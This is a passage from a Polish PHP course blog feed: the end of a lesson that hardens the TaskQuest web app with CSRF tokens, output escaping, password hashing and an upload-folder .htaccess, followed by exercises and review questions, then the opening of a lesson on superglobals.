&lt;p&gt;Masz już konto? &lt;a href="zaloguj.php"&gt;Zaloguj się&lt;/a&gt;&lt;/p&gt;

&lt;?php require_once __DIR__ . '/includes/footer.php'; ?&gt;</code></pre>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">wyloguj.php</code> (pełny plik)</h2>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

session_start();

require_once __DIR__ . '/includes/funkcje_sesji.php';

if ($_SERVER&#91;'REQUEST_METHOD'] !== 'POST') {
    header('Location: index.php');
    exit;
}

if (!sprawdzTokenCsrf()) {
    header('Location: index.php');
    exit;
}

$_SESSION = &#91;];

if (isset($_COOKIE&#91;session_name()])) {
    setcookie(session_name(), '', time() - 3600, '/');
}

session_destroy();

header('Location: zaloguj.php');
exit;</code></pre>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">profil.php</code> (pełny plik)</h2>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

session_start();

require_once __DIR__ . '/config/config.php';
require_once __DIR__ . '/includes/funkcje_avatara.php';
require_once __DIR__ . '/includes/funkcje_sesji.php';
require_once __DIR__ . '/includes/funkcje_bazy.php';

wymagajLogowania();

$bledy = &#91;];
$bladZapisu = null;

if ($_SERVER&#91;'REQUEST_METHOD'] === 'POST') {
    $plik = $_FILES&#91;'avatar'] ?? null;

    if ($plik === null) {
        $bledy&#91;] = 'Plik jest za duży albo nie został wysłany.';
    } elseif (!sprawdzTokenCsrf()) {
        $bledy&#91;] = 'Formularz wygasł albo nie pochodzi z TaskQuest. Wyślij go jeszcze raz.';
    } else {
        $bledy = walidujAvatar($plik);
    }

    if ($bledy === &#91;]) {
        $nazwaPlikuAvatara = 'avatar_' . $_SESSION&#91;'uzytkownik_id'] . '_' . time() . '.' . rozszerzenieAvatara($plik&#91;'name']);
        $sciezkaAvatara = __DIR__ . '/' . KATALOG_AVATAROW . '/' . $nazwaPlikuAvatara;

        if (!move_uploaded_file($plik&#91;'tmp_name'], $sciezkaAvatara)) {
            $bladZapisu = 'Nie udało się zapisać pliku na serwerze.';
        } else {
            try {
                $polaczenie = polaczZBaza();
                zapiszAvatarUzytkownika($polaczenie, $_SESSION&#91;'uzytkownik_id'], $nazwaPlikuAvatara);

                ustawKomunikat('Avatar został zmieniony.');
                header('Location: index.php');
                exit;
            } catch (Exception $wyjatek) {
                $bladZapisu = $wyjatek-&gt;getMessage();
            }
        }
    }
}

$tokenCsrf = pobierzTokenCsrf();
$nazwaStrony = 'Profil — TaskQuest';
require_once __DIR__ . '/includes/header.php';
?&gt;

&lt;h2&gt;Twój profil&lt;/h2&gt;
&lt;p&gt;&lt;a href="index.php"&gt;← Wróć do listy zadań&lt;/a&gt;&lt;/p&gt;

&lt;?php if ($bledy !== &#91;]) { ?&gt;
    &lt;div class="blad"&gt;
        &lt;p&gt;Popraw formularz:&lt;/p&gt;
        &lt;ul&gt;
            &lt;?php foreach ($bledy as $blad) { ?&gt;
                &lt;li&gt;&lt;?= $blad; ?&gt;&lt;/li&gt;
            &lt;?php } ?&gt;
        &lt;/ul&gt;
    &lt;/div&gt;
&lt;?php } ?&gt;

&lt;?php if ($bladZapisu !== null) { ?&gt;
    &lt;p class="blad"&gt;Nie udało się zapisać avatara: &lt;?= htmlspecialchars($bladZapisu); ?&gt;&lt;/p&gt;
&lt;?php } ?&gt;

&lt;form method="post" action="profil.php" enctype="multipart/form-data"&gt;
    &lt;input type="hidden" name="token_csrf" value="&lt;?= $tokenCsrf; ?&gt;"&gt;

    &lt;label for="avatar"&gt;Avatar (JPG, PNG lub WEBP, najwyżej 1 MB)&lt;/label&gt;
    &lt;input type="file" id="avatar" name="avatar" accept=".jpg,.jpeg,.png,.webp" required&gt;

    &lt;button type="submit"&gt;Zapisz avatar&lt;/button&gt;
&lt;/form&gt;

&lt;?php require_once __DIR__ . '/includes/footer.php'; ?&gt;</code></pre>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code> — zmiany</h2>



<ol class="wp-block-list">
<li>znajdź linię zaczynającą się od:</li>
</ol>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$bledy = walidujNoweZadanie(</code></pre>



<p class="wp-block-paragraph">(<code class="prettyprint lang-sql" style="font-size: 0.85em;">Ctrl+F</code> → <code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujNoweZadanie</code>). Jest w bloku <code class="prettyprint lang-sql" style="font-size: 0.85em;">if ($_SERVER['REQUEST_METHOD'] === 'POST') {</code>, zaraz pod liniami, które odczytują pola formularza.</p>



<p class="wp-block-paragraph">Zamień ją na:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">    if (!sprawdzTokenCsrf()) {
        $bledy&#91;] = 'Formularz wygasł albo nie pochodzi z TaskQuest. Wyślij go jeszcze raz.';
    } else {
        $bledy = walidujNoweZadanie($tytulZadania, $opisZadania, $terminZadania, $xpZadania);
    }</code></pre>



<ol start="2" class="wp-block-list">
<li>Tuż przed <code class="prettyprint lang-sql" style="font-size: 0.85em;">$nazwaStrony = ...</code>: <code class="prettyprint lang-sql" style="font-size: 0.85em;">$tokenCsrf = pobierzTokenCsrf();</code>.</li>



<li>Ramka awarii: <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?= htmlspecialchars($bladZapisu); ?&gt;</code> &#8211; sprawdź czy jest htmlspecialchars().</li>



<li>W formularzu, zaraz po <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;form ...&gt;</code>, ukryte pole tokenu. Pola (etykiety bez zmian):</li>
</ol>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">    &lt;input type="hidden" name="token_csrf" value="&lt;?= $tokenCsrf; ?&gt;"&gt;

    &lt;input type="text" id="tytul" name="tytul" maxlength="100" value="&lt;?= htmlspecialchars($tytulZadania); ?&gt;" required&gt;
    &lt;textarea id="opis" name="opis" rows="3" maxlength="300"&gt;&lt;?= htmlspecialchars($opisZadania); ?&gt;&lt;/textarea&gt;
    &lt;input type="date" id="termin" name="termin" value="&lt;?= htmlspecialchars($terminZadania); ?&gt;" required&gt;
    &lt;input type="number" id="xp" name="xp" min="1" max="100" value="&lt;?= htmlspecialchars($xpZadania); ?&gt;" required&gt;</code></pre>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">oznacz-wykonane.php</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">usun-zadanie.php</code> — zmiany</h2>



<ol class="wp-block-list">
<li>Bezpośrednio pod blokiem „tylko POST”, przed odczytem <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadanieIdTekst</code>:</li>
</ol>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">if (!sprawdzTokenCsrf()) {
    ustawKomunikat('Nie udało się wykonać akcji. Spróbuj jeszcze raz.');
    header('Location: index.php');
    exit;
}</code></pre>



<ol start="2" class="wp-block-list">
<li>W ramce awarii komunikat wyjątku przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">htmlspecialchars($wyjatek-&gt;getMessage())</code>.</li>
</ol>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> — zmiany</h2>



<ol class="wp-block-list">
<li>Pod blokiem komunikatu jednorazowego:</li>
</ol>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">// --- token CSRF do formularzy na stronie ---
$tokenCsrf = pobierzTokenCsrf();</code></pre>



<ol start="2" class="wp-block-list">
<li>Avatar nad powitaniem:</li>
</ol>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php if ($uzytkownik-&gt;pobierzAvatar() !== null) { ?&gt;
    &lt;img class="avatar" src="&lt;?= htmlspecialchars(KATALOG_AVATAROW . '/' . $uzytkownik-&gt;pobierzAvatar()); ?&gt;" alt="Avatar gracza"&gt;
&lt;?php } else { ?&gt;
    &lt;span class="avatar avatar-litera"&gt;&lt;?= htmlspecialchars(mb_substr($uzytkownik-&gt;pobierzImie(), 0, 1)); ?&gt;&lt;/span&gt;
&lt;?php } ?&gt;</code></pre>



<ol start="3" class="wp-block-list">
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">htmlspecialchars()</code> w pozostałych miejscach z tabeli w sekcji 4.3: <code class="prettyprint lang-sql" style="font-size: 0.85em;">$bladBazy</code>, imię w powitaniu, login w „Zalogowano jako”, tytuł najpilniejszego zadania, w pętli listy tytuł (<code class="prettyprint lang-sql" style="font-size: 0.85em;">$tytulCzysty</code>), skrócony opis i termin, login w rankingu.</li>



<li>Ukryte pole tokenu w trzech formularzach. Przykład „Zrobione!”:</li>
</ol>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;form class="akcja" method="post" action="oznacz-wykonane.php"&gt;
    &lt;input type="hidden" name="token_csrf" value="&lt;?= $tokenCsrf; ?&gt;"&gt;
    &lt;input type="hidden" name="id" value="&lt;?= $zadanie-&gt;pobierzId(); ?&gt;"&gt;
    &lt;button type="submit"&gt;Zrobione!&lt;/button&gt;
&lt;/form&gt;</code></pre>



<p class="wp-block-paragraph">„Usuń” analogicznie. W formularzu „Wyloguj” ukryte pole przed przyciskiem.</p>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code></h2>



<p class="wp-block-paragraph">W <code class="prettyprint lang-sql" style="font-size: 0.85em;">$wymaganePliki</code> dopisane <code class="prettyprint lang-sql" style="font-size: 0.85em;">'rejestracja.php'</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">'uploads/avatary/.htaccess'</code> (razem <strong>23</strong> ścieżki). Reszta bez zmian.</p>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/footer.php</code></h2>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">        &lt;p&gt;TaskQuest 2.2&lt;/p&gt;
    &lt;/div&gt;
&lt;/body&gt;
&lt;/html&gt;</code></pre>
</details>



<h1 class="wp-block-heading">12. Co zmieniliśmy w TaskQuest?</h1>



<h3 class="wp-block-heading">Zostaje</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">wszystko z Lekcji 21: zadania w bazie, dodawanie, „Zrobione!” z XP i streakiem, usuwanie, ranking,
filtr widoku z cookie, komunikaty jednorazowe, avatar z walidacją pliku
sesja z samym uzytkownik_id, session_regenerate_id(true) przy logowaniu, wylogowanie tylko POST
wszystkie zapytania przez prepared statements (bez zmian — audyt w sekcji 3.3)
klasy Zadanie i Uzytkownik bez zmian (Uzytkownik nie zna hasha)
znajdzIdUzytkownika() — teraz używana przy rejestracji</code></pre>



<h3 class="wp-block-heading">Dochodzi</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">baza: haslo_hash NOT NULL, hashe kont testowych (KamaQuest26, OlaQuest26)
includes/funkcje_sesji.php:
    pobierzTokenCsrf(): string
    sprawdzTokenCsrf(): bool
includes/funkcje_tekstowe.php:
    walidujDaneRejestracji(string $login, string $imieUzytkownika, string $haslo, string $powtorzoneHaslo): array
includes/funkcje_bazy.php:
    pobierzDaneLogowania(mysqli, string $login): ?array
    dodajUzytkownika(mysqli, string $login, string $imieUzytkownika, string $hasloHash): int
rejestracja.php — zakładanie konta i automatyczne zalogowanie
uploads/avatary/.htaccess — bez wykonywania PHP i bez listy plików
klucz sesji 'token_csrf', ukryte pole token_csrf w 7 rodzajach formularzy, zmienna $tokenCsrf na stronach z formularzami
htmlspecialchars() przy wyświetlaniu tekstu spoza kodu</code></pre>



<p class="wp-block-paragraph">Nowe mechanizmy PHP: <code class="prettyprint lang-sql" style="font-size: 0.85em;">htmlspecialchars()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">random_bytes()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">bin2hex()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">hash_equals()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">password_hash()</code> z <code class="prettyprint lang-sql" style="font-size: 0.85em;">PASSWORD_DEFAULT</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">password_verify()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;input type="password"&gt;</code>; w brudnopisie <code class="prettyprint lang-sql" style="font-size: 0.85em;">$polaczenie-&gt;query()</code> (tylko do pokazania ataku), <code class="prettyprint lang-sql" style="font-size: 0.85em;">md5()</code> (tylko do porównania), <code class="prettyprint lang-sql" style="font-size: 0.85em;">microtime()</code>. Poza PHP: plik <code class="prettyprint lang-sql" style="font-size: 0.85em;">.htaccess</code> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">Options -Indexes</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">FilesMatch</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">Require all denied</code>).</p>



<h3 class="wp-block-heading">Zmieniamy</h3>



<ul class="wp-block-list">
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujDaneLogowania()</code>: nowy parametr <code class="prettyprint lang-sql" style="font-size: 0.85em;">$haslo</code>, reguła „Podaj hasło.”,</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">zaloguj.php</code>: pole hasła, <code class="prettyprint lang-sql" style="font-size: 0.85em;">password_verify()</code>, wspólny komunikat, token, link do rejestracji,</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">wyloguj.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">oznacz-wykonane.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">usun-zadanie.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">profil.php</code>: sprawdzenie tokenu,</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">profil.php</code>, strony akcji: escapowanie,</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code>: 23 ścieżki, stopka: <code class="prettyprint lang-sql" style="font-size: 0.85em;">2.2</code>.</li>
</ul>



<h3 class="wp-block-heading">Usuwamy</h3>



<ul class="wp-block-list">
<li>komunikat „Nie ma użytkownika o takim loginie.” — zdradzał, które loginy istnieją,</li>



<li>zdanie „Wersja demonstracyjna&#8230;” w <code class="prettyprint lang-sql" style="font-size: 0.85em;">zaloguj.php</code> — logowanie nie jest już demonstracyjne,</li>



<li>zmienną <code class="prettyprint lang-sql" style="font-size: 0.85em;">$uzytkownikId</code> w <code class="prettyprint lang-sql" style="font-size: 0.85em;">zaloguj.php</code> — zastępuje ją <code class="prettyprint lang-sql" style="font-size: 0.85em;">$daneLogowania</code> (w <code class="prettyprint lang-sql" style="font-size: 0.85em;">rejestracja.php</code> <code class="prettyprint lang-sql" style="font-size: 0.85em;">$uzytkownikId</code> jest nowym <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code>),</li>



<li>konta bez hasła (<code class="prettyprint lang-sql" style="font-size: 0.85em;">haslo_hash</code> = <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code>).</li>
</ul>



<h3 class="wp-block-heading">Co nowego potrafi TaskQuest po tej lekcji?</h3>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">Po Lekcji 22 TaskQuest ma prawdziwe konta: gracz zakłada je sam, a logowanie wymaga hasła, które w bazie jest zapisane wyłącznie jako hash. Tekst wpisany przez graczy zawsze wyświetla się jako tekst, więc nie da się nim wstrzyknąć skryptu. Formularze wysłane z obcych stron są odrzucane, a w katalogu avatarów serwer nie wykona żadnego skryptu.</p>
</blockquote>



<h1 class="wp-block-heading">13. Zadania końcowe — rozbuduj TaskQuest samodzielnie</h1>



<p class="wp-block-paragraph">Nie są częścią wersji referencyjnej.</p>



<p class="wp-block-paragraph"><strong>A. Zmiana hasła.</strong> Na <code class="prettyprint lang-sql" style="font-size: 0.85em;">profil.php</code> (albo na nowej stronie <code class="prettyprint lang-sql" style="font-size: 0.85em;">zmien-haslo.php</code>) formularz: obecne hasło, nowe hasło, powtórzone nowe hasło. Obecne hasło sprawdzasz <code class="prettyprint lang-sql" style="font-size: 0.85em;">password_verify()</code>. Skąd weźmiesz hash, skoro w sesji masz tylko <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> (nowa funkcja bazy)? Reguły nowego hasła są takie same jak w <code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujDaneRejestracji()</code>. Jak ich nie powielić? Nowy hash zapisujesz <code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE</code>em. Dlaczego warto po zmianie hasła wywołać <code class="prettyprint lang-sql" style="font-size: 0.85em;">session_regenerate_id(true)</code>? Jeśli formularz trafi na <code class="prettyprint lang-sql" style="font-size: 0.85em;">profil.php</code>, jak strona odróżni go od formularza avatara?</p>



<p class="wp-block-paragraph"><strong>B. Ciasteczko sesji niedostępne dla JavaScriptu.</strong> Przed <strong>każdym</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">session_start()</code> (8 plików) dodaj <code class="prettyprint lang-sql" style="font-size: 0.85em;">session_set_cookie_params(['httponly' =&gt; true, 'samesite' =&gt; 'Lax']);</code>. Sprawdzenie: w konsoli przeglądarki (<code class="prettyprint lang-sql" style="font-size: 0.85em;">F12</code> → Konsola) polecenie <code class="prettyprint lang-sql" style="font-size: 0.85em;">document.cookie</code> przed zmianą pokazuje <code class="prettyprint lang-sql" style="font-size: 0.85em;">PHPSESSID</code>, a po zmianie już nie. Odpowiedz: czy <code class="prettyprint lang-sql" style="font-size: 0.85em;">HttpOnly</code> zastępuje <code class="prettyprint lang-sql" style="font-size: 0.85em;">htmlspecialchars()</code>? Czy <code class="prettyprint lang-sql" style="font-size: 0.85em;">SameSite=Lax</code> zastępuje token CSRF? (Wskazówka: sekcja 5.1.) Czy 8 kopii tej samej linii to dobre rozwiązanie? Zaproponuj lepsze.</p>



<p class="wp-block-paragraph"><strong>C. Blokada po nieudanych próbach.</strong> Dodaj do <code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownicy</code> kolumny <code class="prettyprint lang-sql" style="font-size: 0.85em;">nieudane_logowania INT UNSIGNED NOT NULL DEFAULT 0</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">blokada_do DATETIME NULL</code>. Po 5 nieudanych próbach dla danego loginu logowanie na to konto jest zablokowane na 5 minut, a po udanym logowaniu licznik wraca do 0. Dlaczego licznik nie może być w sesji albo w ciasteczku? Jak atakujący może użyć tej blokady przeciwko <strong>innemu</strong> graczowi? Czy komunikat o blokadzie zdradza, że login istnieje?</p>



<p class="wp-block-paragraph"><strong>D. Nagłówki bezpieczeństwa.</strong> Na samej górze <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/header.php</code>, przed HTML, wyślij <code class="prettyprint lang-sql" style="font-size: 0.85em;">header('X-Frame-Options: DENY');</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">header('X-Content-Type-Options: nosniff');</code>. Sprawdź nagłówki w narzędziach przeglądarki (Sieć → wybierz żądanie → Nagłówki odpowiedzi). Utwórz na pulpicie plik <code class="prettyprint lang-sql" style="font-size: 0.85em;">ramka.html</code> z <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;iframe src="http://localhost/taskquest/zaloguj.php"&gt;</code> i porównaj efekt przed zmianą i po niej. Opisz jednym zdaniem, przed jakim atakiem chroni pierwszy nagłówek.</p>



<h1 class="wp-block-heading">Sprzątanie</h1>



<ol class="wp-block-list">
<li>Usuń <code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis2.php</code> i (jeśli został) <code class="prettyprint lang-sql" style="font-size: 0.85em;">uploads/avatary/test.php</code>. Pliki <code class="prettyprint lang-sql" style="font-size: 0.85em;">atak.html</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">atak2.html</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">ramka.html</code> z pulpitu też usuń.</li>



<li>Sprawdź, że przywrócone są: kolejność <code class="prettyprint lang-sql" style="font-size: 0.85em;">htmlspecialchars(skrocOpis(...))</code> (Eksperyment 1), brak <code class="prettyprint lang-sql" style="font-size: 0.85em;">htmlspecialchars()</code> przed <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodajZadanie()</code> (Eksperyment 2), sprawdzanie tokenu w <code class="prettyprint lang-sql" style="font-size: 0.85em;">usun-zadanie.php</code> (Eksperyment 3), nazwa <code class="prettyprint lang-sql" style="font-size: 0.85em;">.htaccess</code> (Test 8).</li>



<li>Uruchom ponownie <code class="prettyprint lang-sql" style="font-size: 0.85em;">sql/taskquest.sql</code> i opróżnij <code class="prettyprint lang-sql" style="font-size: 0.85em;">uploads/avatary/</code> z plików <code class="prettyprint lang-sql" style="font-size: 0.85em;">avatar_...</code> (<strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">.htaccess</code> zostaje</strong>).</li>



<li>Zaloguj się jako <code class="prettyprint lang-sql" style="font-size: 0.85em;">Kama_2026</code> / <code class="prettyprint lang-sql" style="font-size: 0.85em;">KamaQuest26</code>. <code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code> — wszystko <code class="prettyprint lang-sql" style="font-size: 0.85em;">[OK]</code>.</li>
</ol>



<h1 class="wp-block-heading">Do samodzielnego sprawdzenia</h1>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&#91; ] Nadal rozwijam ten sam projekt TaskQuest (nie zaczynam nowego).
&#91; ] Potrafię pokazać atak SQL injection na sklejonym zapytaniu i wyjaśnić, dlaczego prepared statement go blokuje.
&#91; ] Potrafię sprawdzić projekt pod kątem sklejanych zapytań.
&#91; ] Wiem, co robi htmlspecialchars() i które wartości w TaskQuest muszą przez nią przejść.
&#91; ] Wiem, dlaczego escapuję przy wyświetlaniu, a nie przed zapisem do bazy, i dlaczego na samym końcu.
&#91; ] Potrafię wyjaśnić, jak obca strona wysyła formularz w imieniu zalogowanego gracza.
&#91; ] Wiem, skąd bierze się token CSRF, gdzie jest przechowywany i dlaczego obca strona go nie zna.
&#91; ] Wiem, dlaczego do haseł nie używa się md5() i dlaczego dwa hashe tego samego hasła są różne.
&#91; ] Potrafię zapisać hasło przez password_hash() i sprawdzić je przez password_verify().
&#91; ] Wiem, dlaczego logowanie ma jeden wspólny komunikat błędu.
&#91; ] Wiem, co robi .htaccess w katalogu avatarów.
&#91; ] Usunęłam/usunąłem brudnopisy i pliki ataków.</code></pre>



<h1 class="wp-block-heading">Pytania kontrolne</h1>



<ol class="wp-block-list">
<li>Kolega pisze: <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zapytanie = $polaczenie-&gt;prepare("SELECT id FROM zadania WHERE tytul = '$tytul'");</code>. „Używam <code class="prettyprint lang-sql" style="font-size: 0.85em;">prepare()</code>, więc jestem bezpieczny”. Czy ma rację? Co trzeba poprawić?<br /></li>



<li>Co dokładnie wyśle PHP do przeglądarki po <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?= htmlspecialchars('&lt;a href="x"&gt;Klik&lt;/a&gt; &amp; więcej'); ?&gt;</code> i co zobaczy gracz?<br /></li>



<li>Termin zadania pochodzi z bazy, a formalnie nie wymaga escapowania. Dlaczego? Czy tak samo byłoby, gdyby kolumna <code class="prettyprint lang-sql" style="font-size: 0.85em;">termin</code> była typu <code class="prettyprint lang-sql" style="font-size: 0.85em;">VARCHAR(20)</code>?<br /></li>



<li>Koleżanka escapuje tytuł przed zapisem do bazy <strong>i</strong> przy wyświetlaniu. Co zobaczy gracz, który doda zadanie <code class="prettyprint lang-sql" style="font-size: 0.85em;">Tom &amp; Jerry</code>? Co będzie w bazie?<br /></li>



<li>Obca strona nie zna tokenu CSRF. A gdyby w TaskQuest była luka XSS, np. niezabezpieczony tytuł zadania? Czy token nadal by chronił? Uzasadnij.<br /></li>



<li>W <code class="prettyprint lang-sql" style="font-size: 0.85em;">sprawdzTokenCsrf()</code> ktoś usunął warunek <code class="prettyprint lang-sql" style="font-size: 0.85em;">!isset($_SESSION['token_csrf'])</code>. Co zobaczy gracz, któremu wygasła sesja, gdy wyśle formularz logowania? Dlaczego lepiej, żeby funkcja zwróciła wtedy <code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code>?<br /></li>



<li>Baza TaskQuest wyciekła. Kama i Ola mają to samo hasło. Czy atakujący zauważy to, patrząc na kolumnę <code class="prettyprint lang-sql" style="font-size: 0.85em;">haslo_hash</code>? A gdyby TaskQuest zapisywał <code class="prettyprint lang-sql" style="font-size: 0.85em;">md5($haslo)</code>?<br /></li>



<li><p>Znajdź co najmniej trzy błędy:</p><code class="prettyprint lang-sql" style="font-size: 0.85em;">$haslo = trim($_POST['haslo'] ?? '');<br />$dane = pobierzDaneLogowania($polaczenie, $login);<br />if ($dane['haslo_hash'] === password_hash($haslo, PASSWORD_DEFAULT)) {<br />    $_SESSION['uzytkownik_id'] = $dane['id'];<br />}<br /></code></li>



<li>Rejestracja pokazuje „Ten login jest już zajęty.”, więc i tak da się sprawdzić, czy login istnieje. Czy wspólny komunikat przy logowaniu ma w takim razie sens? Co jeszcze można zrobić, żeby utrudnić sprawdzanie loginów?<br /></li>



<li>Gracz wgrywa prawdziwy obrazek PNG z doklejonym na końcu kodem PHP. TaskQuest zapisuje go jako <code class="prettyprint lang-sql" style="font-size: 0.85em;">avatar_3_1790000000.png</code>. Czy ten kod się wykona bez <code class="prettyprint lang-sql" style="font-size: 0.85em;">.htaccess</code>? A z <code class="prettyprint lang-sql" style="font-size: 0.85em;">.htaccess</code>? Po co więc ten plik?<br /></li>
</ol>
<p>Artykuł <a href="https://kamakaczmarek.net/php-bezpieczenstwo-aplikacji-webowych/">22. PHP – bezpieczeństwo aplikacji webowych</a> pochodzi z serwisu <a href="https://kamakaczmarek.net">Kama Kaczmarek</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>21. PHP &#8211; Superglobals</title>
		<link>https://kamakaczmarek.net/21-php-superglobals/</link>
		
		<dc:creator><![CDATA[Kama]]></dc:creator>
		<pubDate>Thu, 28 May 2026 07:15:59 +0000</pubDate>
				<category><![CDATA[aplikacje]]></category>
		<category><![CDATA[dla ucznia]]></category>
		<category><![CDATA[PHP]]></category>
		<guid isPermaLink="false">https://kamakaczmarek.net/?p=3532</guid>

					<description><![CDATA[<p>Szybki quiz – przypomnienie poprzedniej lekcji Lekcja 20 jest w kursie pomijana, więc pytania dotyczą Lekcji 19:&#160;INSERT,&#160;UPDATE,&#160;DELETE&#160;z PHP. Co wypisze ten kod, jeśli gracz o&#160;id = 2&#160;istnieje w bazie? $premia = 0; $uzytkownikId = 2; $zapytanie = $polaczenie-&#62;prepare('UPDATE uzytkownicy SET xp = xp + ? WHERE id = ?'); $zapytanie-&#62;bind_param('ii', $premia, $uzytkownikId); $zapytanie-&#62;execute(); var_dump($zapytanie-&#62;affected_rows); Kolega [&#8230;]</p>
<p>Artykuł <a href="https://kamakaczmarek.net/21-php-superglobals/">21. PHP &#8211; Superglobals</a> pochodzi z serwisu <a href="https://kamakaczmarek.net">Kama Kaczmarek</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<div class="el-h2">
<h2 dir="auto" data-heading="Szybki quiz – przypomnienie poprzedniej lekcji">Szybki quiz – przypomnienie poprzedniej lekcji</h2>
</div>



<div class="el-blockquote">
<blockquote dir="auto"><p>Lekcja 20 jest w kursie pomijana, więc pytania dotyczą Lekcji 19:&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">INSERT</code>,&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE</code>,&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">DELETE</code>&nbsp;z PHP.</p></blockquote>
</div>



<div class="el-ol">
<ol>
<li dir="auto" data-line="0">
<p>Co wypisze ten kod, jeśli gracz o&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">id = 2</code>&nbsp;istnieje w bazie?</p>
<pre class="language-php"><code class="prettyprint lang-sql" style="font-size: 0.85em;"><span class="token variable">$premia</span> <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span>
<span class="token variable">$uzytkownikId</span> <span class="token operator">=</span> <span class="token number">2</span><span class="token punctuation">;</span>
